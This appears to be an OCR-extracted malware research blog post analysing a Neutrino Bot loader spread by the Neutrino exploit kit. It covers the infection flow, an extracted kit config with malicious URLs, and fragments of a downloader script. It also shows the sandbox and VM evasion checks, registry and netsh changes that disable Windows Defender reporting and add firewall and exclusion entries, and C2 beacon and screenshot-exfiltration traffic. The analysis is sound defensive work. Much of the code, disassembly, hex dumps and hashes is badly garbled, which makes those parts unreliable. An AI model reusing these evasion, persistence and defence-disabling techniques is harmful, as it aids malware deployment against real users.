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In this blog post we will cover a recent version of the multi-purpose Neutrino Bot (AKA
Kasidet) which ironically was distributed by an exploit kit of the same name. Earlier in
January this year, we had described Neutrino Bot that came via spam so we won'’t go over
those details again, but instead will focus on an interesting loader.

Anti VM detection is complemented by multiple layers hiding the actual core which made
extraction of the final payload a bit of challenge.

Distribution method

This sample was collected via a malvertising campaign in the US that leveraged the Neutrino
exploit kit. The infection flow starts with a fingerprinting check for virtualization, network traffic
capture and antivirus software. If any are found (i.e. not a genuine victim), the infection will
not happen. This check is done via heavily obfuscated JavaScript code in the pre-landing
pages, rather than within the Flash exploit itself, like it used to in the past.
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Once the initial check has passed, the next step is to launch a specially crafted Flash file
containing a bunch of exploits for Internet Explorer and the Flash Player (similar to what was
described here). The final step is the download and execution of the RC4 encoded payload
via wscript.exe to bypass proxies.

The overall infection flow is summarized in the diagram below (click to enlarge):
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[+] embeded swf (SHA256: 23b4cd3acal4fa903céddeccT2e3n97cc2elc39151bab7ficeb73ae32909b60d) extracted
[+] cfg key: yCZBv7vpeth6MHN, exploit key: HKSNPIOQ1LDOxVX
{u'debug’': {u'flash': False, u'ping': True},
u'key': {u’ payload'- u'yhdqdltkle'},
u'link': {u’ backUrl" u'
u'bot': u' http f;phekt uguahcal.space/fair /1352485 /carve-lick-punish-secure-claw-entity-trace',
u'jsPLng': u'http://pweki.uquahcai.space/ladder/bloom-108765976"',
u'pnw22': u'http:{fpweki.uquahcat.space;they;fist-entrance-3964@438',
u'pnw25': u'http://pweki.uquahcai.space/jze15/04/14/terrify/overhead-even-shut-earth-rule-puff-whip.html',
u'pnw26': u'http://pweki.uquahcai.space/trial/1331466/Fellow-twinkle-week-term',
u'pnwB': u'http://pwekli.uquahcal.space/spray/1541419/personal-wash-stralght-corner-determine’,
u'soft': u'http://pweki.uquahcai.space/1972/10/05/valentine/fully-threaten-finger-seldom-horizon.html'},
u'rtConfig’
saved to ?tipfnu??_swf_rc4_elaﬁﬂe?137?h?eb?c641I?Sifﬁfgshfﬁ4cSb3?9?8536b?14fea5?081b6399333_ek.bin
saved Jtmp/rubbish_txt_94375865f2eef9542cB8831128751d17c7504a5a7d249f3467F8095dff791d6c5.ek.bin
saved Jtmp/rtConfig_txt_095815e33a7395559233666cb1f47e6dBaf5d29ff147f6766772daB2cacBad74.ek.bin
saved Jtmp/nw8_html_rc4_e7043fefB004580aTbeedascTfB0f6e9b40e9d8833b26318d2931a92e2466b55.ek.bin
saved Jtmp/nW25_html_rc4_5e197f7241b21d287987ca2da7c3526768eff384e2eadd5831c68264739Fb758.ek.bin
saved Jtmp/nw26_html_rc4_bcod36b4482bdal765d0ef88334¢c3bd32bca74e65d2e44b9decesasbsfsfafe3b.ek.bin
saved Jtmp/additionallnfo txt bbeBd4ec22bd36666bT693Tade262d63ffclfdf4948a013de8d03ds5d87dbass7d.ek.bin

u'marker’

[+] Exploit
[+] Exploit
[+] Exploit
[+] Exploit
[+] Exploit
[+] Exploit
[+] Exploit

Sub fire() 'ln.
On Error Resume Next
Set w=CreateObject("WScript.Shell™)
key="%payloadRcdKeyXx"
url="%payloadUrl%"
uas=Navigator.Userfgent

str=h2s("%63%6D%6A%2 EX65%7865%20%2 P37 1%20%2 FX%63%]

ion(k,e){for(var
[b]=b; for(b=0;256*>b; b++)1=1+c[b]

&& echo

[1,b=0;

cmd.exe "Ztmpx"
=A n =1 E=255 S=%t+rinc ag=
1=8,n,c=[],F=255,5=5tring, q
c[1],c[1]=n;for(var
p=l=b=0;p"<k.length;p
1));return q.join("")
[w](§,1+1)-A.random( ) *A[w

+e+"Request.5. ’1"';."rt"r7'<',{"| ;B-open
return N(g sponselext I/m ) };tryd

fq Jc cd fd

+e.charCodeAt(b%e.length)*&F ,n=c[b],c[b]=

n,q.push(S.fromCharCode(k.charCodeAt(p)**c[c[b]+c[1]"&

Y
++)
nction \"’( { var
x(2);g.send(
eto”

}:fu
Option(n)=k
' A=Math 1,‘~-

A_round( (A
o

&

tatus”])

Al aa™ " g
Rk . L/)E-Wa

var u=WScript,o=
(b)Y
(b)
="index(Of

u.Create™+o+"
"“)[1],M =u.Arguments,D="1etef",e="WinHTTP", j=a( "W"+
: 7511 \x4de\x61me" ], E=". "+p;D="0d
] iriteText(v);5S

xe"
(m) }catch(W){u.S1leep(9999);
charCodeAt (827
I'S'{"< 2};.‘"'&'&"< "regsv
[“IJ K);>tmpFL5RE.dat && start »

xf2.\ xBe™ (e

//E:1Script tmpFLS5RE.dat "

A script from Maciej Kotowicz was used to extract artifacts from the Flash file.



https://blog.malwarebytes.com/wp-content/uploads/2017/02/Neutrino_EK-flow.png
https://github.com/mak/ekdeco/tree/master/neutrino

Analyzed samples

Behavioral analysis

The sample was well protected against being deployed in a controlled environment. When it
detects that it is being run in a VM/sandbox it just deletes itself:

L W ehdwrct3.exe (PID: 2084)
L @ cmd.exe /a /c ping 127.0.0.1 -n 3&del "C\ehdwrct3.exe" (PID: 2500) €

L @1 PING.EXE ping 127.0.01 -n 3 (PID: 2580) @

If the environment passed the checks, it drops its copy into:
%APPDATA%/Y1VIUVZZXQxx/<random_name>.exe (during tests we observed the

following names: abgrcnq.exe, uu.exe):

AppData » Roaming » YIVIUVZZX Qe w [+ [l Search YIVIUVZZ

n library = Share with = Burn Mew folder BE=
Mame Date modified Type Size
2017-02-2215:48 Application J9 KB

abgrecng.exe

The folder and the sample are hidden.

Persistence is achieved via the Task Scheduler:

Mext Run Time Last Run Time Last Run Result Author

MName Status  Triggers
2017-02-2216:10:00  2017-02-22 16:00:00 (00} Adrnin

B YIVIUVZZH Qo Ready At10:10 on 2011-01-10 - After triggered, repeat every 10 minutes indefinitely.

t

€ 1 |

General I Triggers | Actions | Conditionsl Settings | History (disabled)|

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open the task property pages using the Properties

cemmand.
Action Details
Start a program ChUsers\tester\AppData\Roaming\Y1VIUVZIX Qrec\abgreng.exe

The malware adds and modifies several registry keys. It adds some basic settings, including
the installation date:

File Edit WView Favorites Help

b RingCentral for Windows = || Mame Type Data
-l F'.msCentraISoftphone E_?JEDefault] REG_SZ {(value not set)
R Sysinternals ab) g REG 57 22.02.2017
ool Wow6432Node | ae ]
it REG_SZ 1
L YIVIUVZZX Qx| ' )
| 1 | ¢

Computer\HKEY_USERS\S-1-5-21-3337418851-2575441 358-3594 538567 -10000 Softwarel YIViIUVEZK Qo
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It modifies some keys in order to remain hidden in the system. Hidden/SuperHidden features
allows its dropped copy to remain unnoticed by the user. It disables viewing such files by
modifying the following registry keys:

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden

It also adds itself into the firewall’'s whitelist with this command:

cmd.exe " /a /c netsh advfirewall firewall add rule name="Y1ViUVZZXQxx" dir=in
action=allow program=[full_executable_path]

Similarly, path to the malware is added to Windows Defender’s exclusions:

i *|| Mame Type Data
|| 2] (Defautt) REG_SZ (value not set)
L4 .?5'9']C:\Users\tester\ﬁppDataiF‘u:uaming\"r’"l‘-ﬁU‘-f.ZZKQ:oduu.exe REG_DWORD 000000000 (07

1| 1]

Computer\HKEY_LOCAL MACHINE\SOFTWARE\Microscft\Windows Defender\Exclusions'Paths

It disables_reporting incidents to Microsoft’s cloud service (SpyNet):

HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting

It modifies settings of terminal services, setting MaxDisconnectionTime and MaxldleTime to
0. Modified keys:

HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxDisconnectionTime
HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime

If the full installation process went successfully, it finally loads the malicious core, and we can
see a traffic typical for the Neutrino Bot. You can see below the beacon “enter” and the
response “success”, encoded in base64. The response is sent as a comment in the retrieved
blank html page, in order to avoid being noticed:
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POST /38956145708/tasks.php HTTP/1.0

Host: 82.211.30.40

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/38.0
Content-type: application/x-www-form-urlencoded

Cookie: auth=bc0859544B8e881f8a5d2a2ad13b9791b

Content-length: 12

_Wv=ZW50ZLXI=

HTTP/1.1 484 Not Found

Server: nginx/1.16.2

Date: Wed, 22 Feb 2017 19:34:27 GMT
Content-Type: text/html; charset=utfs
Connection: close

X-Powered-By: PHP/5.3.3

<html>

<head><title>484 Not Found</title></head=>
<body bgcolor="white">

<center><h1>484 Not Found</hil></center>
<hr><center>nginx</center>

</body>

</html=

<l---c3VjY2Vzecw==--->

In the next request the bot sends information about itself, and in response the CnC gives it
commands to be executed. Requests and responses are also base64 encoded. Example
after decoding:

req:

cmd&9bc67713-9390-4bcd-9811-36457b704C9C&TESTMACHINE&WiNAows%207%20 (32 -
bit)&O&N%2FA&S.2&22.02.2017&NONE

resp:
1463020066516169#screenshot#1469100096882000#botkiller#1481642022438251#rate 15#

The first command was to take a screenshot, and indeed, soon after we can see the bot
sending a screenshot in JPG format:

POST /3B95614578/tasks.php HTTP/1.8

Host: 82.211.308.40

Cookie: auth=bcee595440e801f8a5d2a2ad13b9791b;uid=9bc67713-9398-4bcd-9811-36457b764c9c
User-Agent: Mozilla/5.8 (Windows NT 6.1; WOW64; rv:39.8) Gecko/20180181 Firefox/38.0
Content-Type: multipart/form-data; boundary=--------------cooouooo 1622763
Content-Length: 82898

Connection: close

————————————————————————————— 1622763
Content-Disposition: form-data;name="fname"

screenshot.jpg
————————————————————————————— 1622763
Content-Disposition: form-data; name="data"; filename="screenshot.jpg"
Content-Type: application/octet-stream
..... 0 000005000000

...... (.....1#%.(:3=<93B7@H\NEBDWE7BPmQW_bghg>Mgypdx‘egc...C......./ ../
CBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCLCCCCCCCCCCCCCCCCe. oy .y
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From the sent version number we can conclude, that the version of the bot is 5.2 (similarly to
this campaign).

Inside

The first layer is a stub of a crypter, that overwrites the initial PE in memory by the image of
the loader. Unpacking it is demonstrated in this video: https://www.youtube.com/watch?
v=m_xh33M_CRo.

The second layer is a loader that prevents from running the core bot in a controlled
environment (i.e. on VM or under a debugger). This element is probably new (we didn’t
observe it so far in previous campaigns of Neturino Bot, i.e. the one described here). We
found the loader very effective in its protective task. Most of the sandboxes and test VMs
used during tests failed to provide any useful results.

The final payload had features typical for Neutrino Bot family.

The loader code shows that it is an integral part of the full Neutrino Bot package — not yet
another layer added by an independent crypter. Both, the payload and the loader are written
in C++, use similar functions and contain overlapping strings. It will be demonstrated in
details later in this article. They both also have very close compilation timestamps: payload:
2017-02-16 17:15:43, loader: 2017-02-16 17:15:52.

A patched version of the loader, with environment checks disabled can be viewed here.

Loader

Obfuscation techniques

The code inside contains some level of obfuscation. A few strings are visible:

Address |Disassembly Text =tring

BEZFSFAA| PUSH wu . BEZF2E9C UHICODE "ComSpec™

BEZFSF0E| PUSH wu . BEZF2E3S UHMICODE ™ <& <z #s™

HEZFE921 | PUSH wu. BEZF9ECE UHICODE "whbem™

HEZFE9BC| PUSH wu. BAZF2EAC UHICODE "™ 1L iUUZZHmma

HEZFS9CE| PUSH wu. BAZF9EAC UHICODE "™ 1L iUUZZHmma

BEZFSCIE| MOV ESI, uu.d82F2E04 | UMICOOE "*~#.cHe"™

BEZFSEAS| PUSH wuw. BEZF2EF4 UMICODE "% ls#™

BEZFSEGS| PUSH uwuy. BEZFIEE4 UHICODE ™xlssils"™

HEZFSFEL | MOU ESI, uu.BEZF9EAC | UMICODE "% 1UiUUZZ KGmat"

HEZFSEEZ | MOW ESI, ud.BE2F9EAE | UMICODOE 1L ilUZZX@qq"

HEZFSEES| PUSH wu. BEZF9 160 UHICODE "™SeTakelwnersh ipPrivilege™

HEZFSE1E| PUSH wu. BBZF9 160 UHICODE "™SeTakelwnersh ipPrivilege™

HEZF&FAE| PUSH wu. BAZF9240 UNMICODE "SOFTWARE~“HMicrosoft-~~Windows Defender~-SpyMHet""

BEZFSFES| PUSH wu. BEZF921C UHICODE "SpyMetReporting™

BEZFSFED| PUSH wu. BEZF21AS UHICODE "SOFTWARE--Microsoft~~HMicrosoft Antimalware~~Exclusions~~FPaths™
BEZFSFOL | PUSH wu. BEZF29135 UHICODE "SOFTWARE-~-Microsoft~Windows Defender~~Exclusions~~FPaths™
HEZFEFEL| RETH [Initial CPU selectionl

BEZF7135) PUSH wu. BEZFS2AR UHICODE ™= #s'*

HEZF7146) PUSH wu. BEZFS292 UHICODE "=

BEZF 7265 PUSH wu. BAZFS2CH ASCII "IsllowsdProcess™

HEZFY271| PUSH wu. BAZF92AC UNMICODE "kernel3z2™

BEZFTAIE| PUSH wu. BEZF2340 UHICODE "Admin®

BEZFTEEC) PUSH wu. BEZF2334 UHICODE ""PTSH™

BEZFYC14 | PUSH wu. BEZF23Z20 UHICODE "Triggerl™

HEZFTC2A| PUSH wu . BEZF93E4 ASCII BA,"Cannot put™

HEZFTC4E| PUSH wu. BEZFS2FS UHICODE ""PT1@M™

HEZFYCFE| PUSH wu . BEZFS206 UHICODE ™26811-681-18T16:16: 86™

HEZFE18& PUSH @- 28860 RSCII "™Actu ™

e Directory name
e Some functions

7/16
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» Registry keys related with Windows Security features that are going to be disabled
o Strings used to add a new scheduled task.

However, that is not all. Most of the strings are decrypted at runtime. Here is an example of
loading an encrypted string:

FEEREEERR MOU EDT, ERK

BEBRSIIC |1 . 25FF TEST EDI.EDI

BEERA&33E |] .~ 74 &0 JE SHORT abarcng.BBEBAS24D0

BEEREZ48 |1 . E& FUZH ESI Args = BEEE00E4

BEERG341 |] . FFEPS @S5 FUSH [[ARG.11 Arg2 = Bz241FDEA

AAERG344 |1 . 57 FUSH EDI Argl = BEZEEEEE
. EZ ZBFFFFFF CALL abarcnqg. BEEAEZT:Z abarcng. BRSEEEFE

SIS/SISI=ETEM | . 2204 A ADO ESP. dul

BEBRE240 || > 2BCY MOL ER, EDI

BEBRS34F |1 . EF FOP EDI BE22AEEE

BEBAG3SAE || . EE FOP ESI BE22AEEEA

BEERS3S1 | . 2D FOF EEF BEZsa88E

BEERGZSZ (k. C3 RETH

4|

ESP=8241FD1C

Hddress |Hed dump HSCII

HEZoEEEEa| 48 BE 65 B8 &4 BE SF B8 FS BO 68 88 &7 @0 &8 88| H.e.d.o.u.h.g.h.
FEZEEE1E[ 64 BE 73 B8 A1 AR Bl B A1 AR A1 B A1 AR Al B8 | d.s.B8.68.68.8.8,8,
FEZEEEZE( A1 BR A1 B8 A1 BO Bl B8 A1 A0 A1 B A1 A0 Al B8 A.A.B.6.8.8.8,8,
FEZSEEZE( A1 BE A1 B8 A1 BE @1 B8 A1 AR A1 B8 A1 A0 A1 68| A.A.8.68.8.8.8,8,
FEZEEE4E (81 BA A1 B8 A1 BE B1 B9 A1 AR B1 B0 A1 AR Bl 88| A.A.B8.6.8.8.08,8,
FEZSEECE|( 81 BE B1 88 61 B0 61 B8 61 A0 61 B0 B1 A0 61 88| A.6.68.6.68.8. 8,8,
GEZSEEEE|( 81 Ba 81 88 61 B0 B1 88 681 A6 Bl 88 81 A6 61 88| A.6.6.6.0.0.08.8,
GEZSEETE| A1 BE B1 B8 81 BE B1 89 81 A6 B1 88 81 A6 G1 89| A.A.6.6.0.0.0.8,
EEZEEEEE( 81 BE Bl 88 81 Bo Bl 88 81 B0 Bl 88 81 B0 Bl 88| A.8,.8.8.8.8.8,8,
FEZEEETE( 81 BE Bl B8 A1 BO Bl B8 A1 BO A1 B8 A1 AR Al B8|A.A.8.8.8.8.8,8,
FEZEEEAE[( 81 BE Bl B8 A1 BO Bl B8 A1 A0 A1 B8 A1 A0 Al B8 A.A.B.6.8.8.8,8,
go2au0be| a1 99 28 99|09 02 98 92|09 £ 99 89 09 98 29 gg[ol... . lL 1 Ll

First, the obfuscated string is written to the dynamically loaded memory by a dedicated
function. Then, it is decrypted using a simple, XOR-based algorithm:

def decode(data):
maxlen = len(data)
decoded = bytearray()
for 1 in range(@, maxlen):
dec = data[i] A 1
decoded.append(dec)
return decoded

The same string after decryption:
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4 [l

AEEALEES [=E] POP ECH abarcng. ABER226E

BEBALEER = FPOP ECH abarcng. BBEAZZGE

BEBALEEE |] . 33C2 “OR ECH,ECH

BEEALEED || » S£:233448 81 | X0R WORD PTR DS: [ERS+ECA#21, 851

BAERLETZ |1 . 41 MC ECH

AEEALETS |] . 3B40 BC CHF ECx, [ARG. 2]

BEEALEFE |] .~ 76 FS JEE SHORT abgrcong.BBEAL1EED

ARBALEFS 1] . 50 FOF EBP abarcng. ABBAZZEE
. C2 RETH

BEBALEFA |r% 55 FUSH EBP

BEBALETE r. SEEC Mou EBP,ESP

Feturn to BHBAZZEE [ abgrcng. DEBAZZEE)

Address |Hex dump

AE22E868 49
BE22EE1E8) &5
BEZ2EE2E8) @A
BEZ2EE38) AR
BEZ2E848) Ba
AEZ38858) BA
AEZ238868) BA
BEZZEETE B
AE22EE28) B
BE22EE3E) @R
BEZ2EEA8) @A
BEZ2EEEE) A&
AEZ2Eaace
AEzzaa08
AE2388ER
BEZ2EEFE
AE226188
aE2ea1 18
BE22a12a8
BEZ2261238
aEzsalde
AEz3a158
ABz3a168

PR e

oIS & G & E G
D e e e e e

BE Bl 88|61 00 61 @8/l 0o a1 a8
BE @1 B8|(81 68 81 @8(81 08 81 a8
BE Bl B8|(81 0B Bl B8(81 OB 81 a8
BE Bl BE|(E81 08 @1 G8( 81 b8 81 a8
BE @1 G881 OB @1 B8|(81 0B @1 B8
BE Bl G861 OB @1 G881 OB @1 &8
BE @1 G8|(681 08 81 G8|(681 OB 81 &8
BE @1 68| 0l 88 81 oE| 6l BE 81 b8
BE Bl 88|61 00 61 @8/l 0o a1 a8
BE @1 B8|(81 OB 81 @8(81 608 81 a8
20 of 99| af o2 of o2/at 22 99 oo

oSO OGS B E
D e e e e e

=

()

=

[

)

=

[oi ooifoi Ioacif oo T T o{ g o]

(oo doilcifod i Fog ci f ol o4 R o]

[oi ooifoi Ioacif oo T T o{ g o]

[cil o oifoifoi od oo T T e{f o o]

[cil o oifoifoi od oo T T e{f o o]

[ofoifoilcioi foifooi oo oi D o]

[ofoifoilcioi foifooi oo oi D o]

Jun]
=
=
=
=
=
0 0 O D D D

Most of the API calls are also dynamically resolved. Example:

B1B8&130
G106 142
BiBaa1ds
B1BE6149
B1B8a14R
B1BE514E
B1BE&14C
B1BE&140
BiEaals:
H1BEG153

Tracing API calls helps to understand the programs’s functionality. For this reason, the
authors of this malware file implemented some of the functions without using API calls at all.
In the below example you can see the function GetLastError() implemented by reading a low-

FUSH B-4EBACTESD
FUSH EEX
CREL_uy_durp. 81091560

I
FUSH uu_dump. 8188142F
FUSH EDT
FUSH EDI
__ R

load_funct ion_by_checksum

kernel32. CreateThread

level structure: Thread Envioroment Block (TEB):

B1EE1E4S
B1EE1E43
B1BE1E4F
B1BE1ES2
ale81ESE
A1AEIESS

B1EE1E41
A1BE1E42
B1EE1E44
A1ARTFEA

R

Functionality

In order to prevent from being executed more than once, the loader creates a mutex with a

FUSH _EEFP

=
AMD CLOCAL. 17, 6mG
MOU ERX, OWORD PTR FS:[Ex12]
MO EAX, OWORD PTR DS: [CEAR+6:34]
MOU [CLOCAL. 11, EAX
MOL ERK, CLOCAL. 11
LERVE
RFTH

get_last_ercor

TEE address
LastErrorlalue

name that is hardcoded in the binary: 1ViUVZZXQxx.

The primary task of the loader is to check the environment, in order to make sure that the
execution is not being watched. But, in contrary to most of the malware, the check is not just

done once. There is a dedicated thread deployed:
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[ 1666142

B1BE&142
B188&149
B1e8s14n
B188614E
B18aa14c
B188e6140
B1886152
[ 1EEE 152

PUSH EBX

CALL wu_dump.Bd1801560 load_function_by_checksum

FPOP ECK

FUZH EDI
FUSH EDI
FUSH EDI

FUSH EETdump.BIBBI42F deplov_environment_check

CALL ERX kernel3z.CreateThread

It runs checks in a never ending loop:

while ¢ 1)

{

if { {(unsigned int8&)search_blacklisted process{} || {(unsigned int8)search_blacklisted module{} )}
++ui;

if { {(unsigned int8)is debugger_present{) || {unsigned int8)tick count_check{}) )}

++01;

if { (unsigned  int8&)check blacklisted dos device() )

++ul;
ifF ( vl )
break;

enum_windows = {void (  thiscall =){int))load_api_func(2, 8x6D15BBBD);
enum_windows(callback_hide_blacklisted_apps);
wait_for_thread{1580);

If at any time, the loader detects i.e. some blacklisted process being deployed, execution is
terminated.

Examples of the checks performed:

1. Enumerates through the list of the running processes (using dynamically loaded functions
CreateToolhelp32Snapshot — Process32First— Process32Next). Calculates checksum from

each retrieved process name and compares it with the built-in blacklist:

B1201869
aizD18eR
ai1z01a8v1
a1z01a8vs
B1z0187F
A1201836
B1201a20
B1201694
B12018%E
alzpiapz
ai1z018/2
A12018HE

A1z201ae4
B12018BE
B12018B7
B12018E82
a1zD18ER
A1z018E0
A1z2018EF
Bizoiacl
A12018C2

PUSH ESI

MO DWORD PTR S5: CEEF-ER24], Gxclc207oq
MO DWORD PTR S5: CEEF-BR281], B4 7EEn343
MOU DWORD PTR S5: CEEF-8=1C1, G- Cols2320
MOU DWORD PTE S5: CEBF-8= 181, Gxd4cEE4F 168
MOV DWORD PTRE S5: CEEF-8=141, G-FEEC4EZE
MOV OWORD PTE S5: CEEF-8= 1681, 5-EB1CECEEZ
MOU DWORD PTRE S5: CEEF-B:C1, 0:c02ESFOD
MO DWORD PTE 55: CEBF-B:21, B-S52EEVES
MOV DWORD PTR S5: CEEF-@:41, 0 CEZERASS
wWOR ESILESI

FUSH DWORD FTR S5S: [EEF+ESI#4—E224]
CALL uu.@1z20e0z1

FOF ECH

CHMP AL, b=l

JE SHORT uu.B81Z2018C4

IMC ESI

CHF ESI,Ex3

JE SHORT wu.B1Z018AE

®OR AL, AL

FOF ESI

LERVE

RETH_.

The blacklisted checksums:

checksums_Llist:

vboHservice.exne

search_process_bu_checksum

blacklisted_process_found

This file contains bidirectional Unicode text that may be interpreted or compiled differently
than what appears below. To review, open the file in an editor that reveals hidden Unicode

characters.

Learn more about bidirectional Unicode characters

Show hidden characters
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https://github.co/hiddenchars
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0x6169078A

0x47000343

0xC608982D

Ox46EE4F10

OxF6EC4B30

0xB1CBC652 ; vboxservice.exe

0x6D3EGFDD ; vboxtray.exe

Ox583EB7ES8

OxCO3EAAG5

view raw

processes blacklist.txt

hosted with ® by GitHub

Implementation of the function searching blacklisted processes — as we can see, every
function is loaded dynamically with the help of a corresponding checksum:
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v

R

PB4 B6D2C push 1857 76B5R
B4 B6D31 push 1
BB BADIT xor ehx, ebx
B BADIS call load Function_ by checksum
PB4 B6DIA pop BECH
B4 BaDIE pop BCH
DY B6DAC push ehx
PB4 B6DID push 2
B4 BADIF call eax ; CreateToolhelpd2Snapshot
BB BADET Moy es5i, eax
B BADES Ccop es5i, BFFFFFFFFh
PB4 BADES jnz shart loc_ LBSDAG
¥
P
Q8L A6D AT
BBLB6DAE loc_LBEDYE:
BB B6DEC mow [ebpsvar_22C], 22Ch
BBLB6D56 push BEB1ES B8R ; Process32First_checksum
BBLB5D5E jmp short loc 486074
P
BonR6DTY
GBLBGDTY loc_LB6D7hH:
BoLB6DTY push 1
BdLB6DTE call 1oad_function_by_checksun
BdLBeDTE pop BLX
BdLB6DTE pop BLX
BdLB6DTE lea ecx, [ebpevar_22G]
BBuB6DEI pash BLR
BBLB6DEL push esi
Bo4B6085 call eax i Processd2First/Processd2Hext
BO4BODET test Bax, eax
BOYBLDE? jnz short loc 4B6DSD
FIE
BLB6DSD
0846050 loc_LAGDSD:
DED lea eax, [ebpevar 208]
Bh4B6063 push eax
opLB6DEs call calc_process_name_checksum
BBLB6DET pop BCX
BBLBODOA cmp eax, [ebp+blacklisted_checksum]
BoyBeDsD jz short blacklisted found
1
¥ L J
rPIE FPIE rPIE
BB4B6DEE jmp short loc_ 4BGDBF| (BB4B6DED BBLB6D6F push BABES123Fh 7 Process3d2Hext_checksum
88486080 blacklisted Found:z
aB4B6DED mow bl, 1
|

2. Searches blacklisted modules within the current process (using dynamically loaded
functions CreateToolhelp32Snapshot — Module32First— Module32Next). Similarly, it
calculates the checksum from each retrieved process name and compares it with the built-in

blacklist.

Checksum calculation algorithm (implementation):
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https://gist.github.com/hasherezade/aefabdb9a67193ef05c93228a78c20c6#file-checksum-cpp

e P — P —

FOF_ECk

o TEST HL,HL

[ JE SHORT uu_dump.B31881ERE

o “OR ERE, ERR

[ JMPSHORT wu_dump. 818E1ECA
» |MOUEX ECH,WORD PTR DS:CESI]
. “OR ER=, ERA

. MOY ED=,EST

v [ JMP SHORT wu_dump.81881ECS
» MOUZ s ECH, Ck

A 1 HE ROL ERX, E: 7

HiE HOR ERK,ECH

Bi@ AOD EDX, Bu 2

Bi@ . MOUZ® ECH,WORD PTR DO5: [EDX]
gig ¥ TEST CK,ChA

BiE . JHE SHORT wu_dump.81881EBY
BiE ¥ |POP ESI

HiE . FOF EBF

BlaniEce (L. RETH

4

ER==0EEE0EEE

Address |Hex dump ASCII
HESSFFIC| 6B DB &5 BA| 72 OE &6E BA|k.e.r.n.
HES5F 744 65 DB &C BE| 62 fEE &1 B8] =. L. bdla.
HESEFF4C) 73 BB &5 BA| 2E bE &4 BA|s.e...d.
HESSFFE4| 6C HE &C BE| B8 bE B0 B8 L. Ll.....
GESSFTSC| B0 08 69 90|08 68 89 94| ...l

The blacklisted checksums:

This file contains bidirectional Unicode text that may be interpreted or compiled differently
than what appears below. To review, open the file in an editor that reveals hidden Unicode
characters.

Learn more about bidirectional Unicode characters

Show hidden characters

0x1C669D6A

OxC2F56A18

O0xC106E17B

0x5608BCC4

0x6512F9D0

0xC604D52A ; snxhk.dll

0x4D0651A5

O0xAC12B9FB ; sbiedll.dll

0x5B747561

0x53309C85

OxE53ED522

view raw
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https://github.co/hiddenchars
http://10.10.0.46/%7B%7B%20revealButtonHref%20%7D%7D
https://gist.github.com/hasherezade/aefabdb9a67193ef05c93228a78c20c6/raw/9613500a830bdc327639a9eaf00ec9c1526759ea/modules_blacklist.txt

modules_blacklist.txt

hosted with ®® by GitHub

3, Checking if the process is under the debugger, using: IsDebuggerPresent,

CheckRemoteDebuggerPresent

4. Detecting single-stepping with the help of time measurement, using GetTickCount — Sleep

— GetTickCount

5. Anti-VM check with the help of detecting blacklisted devices — using QueryDosDevices i.e.

VBoxGuest

6. Searching and hiding blacklisted windows by their classes — using EnumWindows —

GetClassName (i.e. procexpl)

88481164
88481167
a848116C
88481160
ae4e1170
aay81172
28481174

add

push
push
push
call
test

jz

esp,
184h
edi
[ebp+
eax
eax,
short

8ch

arg_8a]

; GetClassHameW
eax
loc_4811A2

Y
I
88481176 push esi
e e1177 zor esi, esi

P9

ol e =]

apup1179
00481179
aa4B1179
a848117Aa
a848117F
g84811889
g84081184

loc_L4@1179:

push edi

call calc_name_checksum

pop BCx

cmp eax, [ebpresi=h+var 2C]
jnz short not found

3

il b =

86401186 push
86401188 push
@eua118D call
aeua1192 pop
88u01193 pop
88401194 push
86401196 push
80401199 call

BC98BYEBAL ; blacklisted_found
2

load_api_func

ecx

ecx

a8 ; SW _HIDE
[ebp+arg_8]

eax : Shouwdindow

'3

lall =

=

aa4e1198

88481198 not_found:

88481198 inc esi

8848119C cmp esi, BBh
8848119F jb short loc_4@1179

The blacklisted checksums:
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https://gist.github.com/hasherezade/aefabdb9a67193ef05c93228a78c20c6#file-modules_blacklist-txt
https://github.com/
https://msdn.microsoft.com/en-us/library/windows/desktop/aa365461(v=vs.85).aspx

This file contains bidirectional Unicode text that may be interpreted or compiled differently
than what appears below. To review, open the file in an editor that reveals hidden Unicode
characters.

Learn more about bidirectional Unicode characters

Show hidden characters

OxFE9EAODS

0x6689BB92

0x3C5FF312 ; procexpl

0x9B5A88D9 ; procmon_window_class

0x4B4576B5

OxAED304FC

0x225FD98F

Ox6D3FA1CA

OxCF388E01

0xD486D951

0x39177889

view raw

windows_blacklist.txt

hosted with ®® by GitHub
In another thread, the malware performs operations related to the bot installation — adding a
task to the Windows Scheduler, adding exclusions to the Firewall etc.

Finally, it unpacks the final payload and runs it with the help of the Run PE method. First, it
creates another instance of its own:

Ease Size Entr Mame |Flle WES ian |F'a1:h

HE1EQEEA| BEEA1 FEEaR uu_1L CrUsers tester~Desk top~Y 11U UUEE REHE U4 .. exe
H1200888) BEAl FEa0 uuy CrUsers tester~Desk top™~Y 1V UUZE SEHM ~uu .. exe
TAEFEEEE | BEAZFEEE | P4EF1142 | smllite | 1.32.18688.8 C:-lindows~Systend2wuml lite.dlL

Then, it maps a new PE file on this place:
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https://github.co/hiddenchars
http://10.10.0.46/%7B%7B%20revealButtonHref%20%7D%7D
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https://github.com/

a1z206282 FUSH _EEP

A12069632 MOL EEF, ESP

81206365 MO ERX, OWORD PTR S5: CEEF+E:2]
A1 20&96:2 SUB ESP, Gn22

A1 2069668 FUSH EBX

aizDe2ac MO EEX, DWORD PTR DS: [EAR+8:3C]
A1 z20628F MOU ECH, B=5R40

A1z206314 FUSH ESI

B1z06315 ADD EEX, EAX

A12069317 PUSH EDI

B1206931:2 CHMP WORD PTR DS: [EAKI.CH
A120E91E |~ | JME wu.B120E690F

B1206921 CHMP DWORD PTR OS5:[EBK], Bn455@
BIZ0E227 |~ | JHE ud.8120690F

a1z06220 MOW ESI, B:ERG437YFC

A1z206332 FUSH ESI

B1z20693332 FUSH Euz

A12069335 CALL wu.@1201560

A1 20&923A FOP ECH

4

05 [B1468]1868]1=00084558

Address |Hex durmp ASCII
A146E88688
Al4EEa18
Al4EE82E ooo
Al468838 A =
Hid4cEE4E(AE IF BA BE A8 B4 89 CD 21 B2 81 4C CD 21 54 &2 AYIA.H .=*SAL=*Th
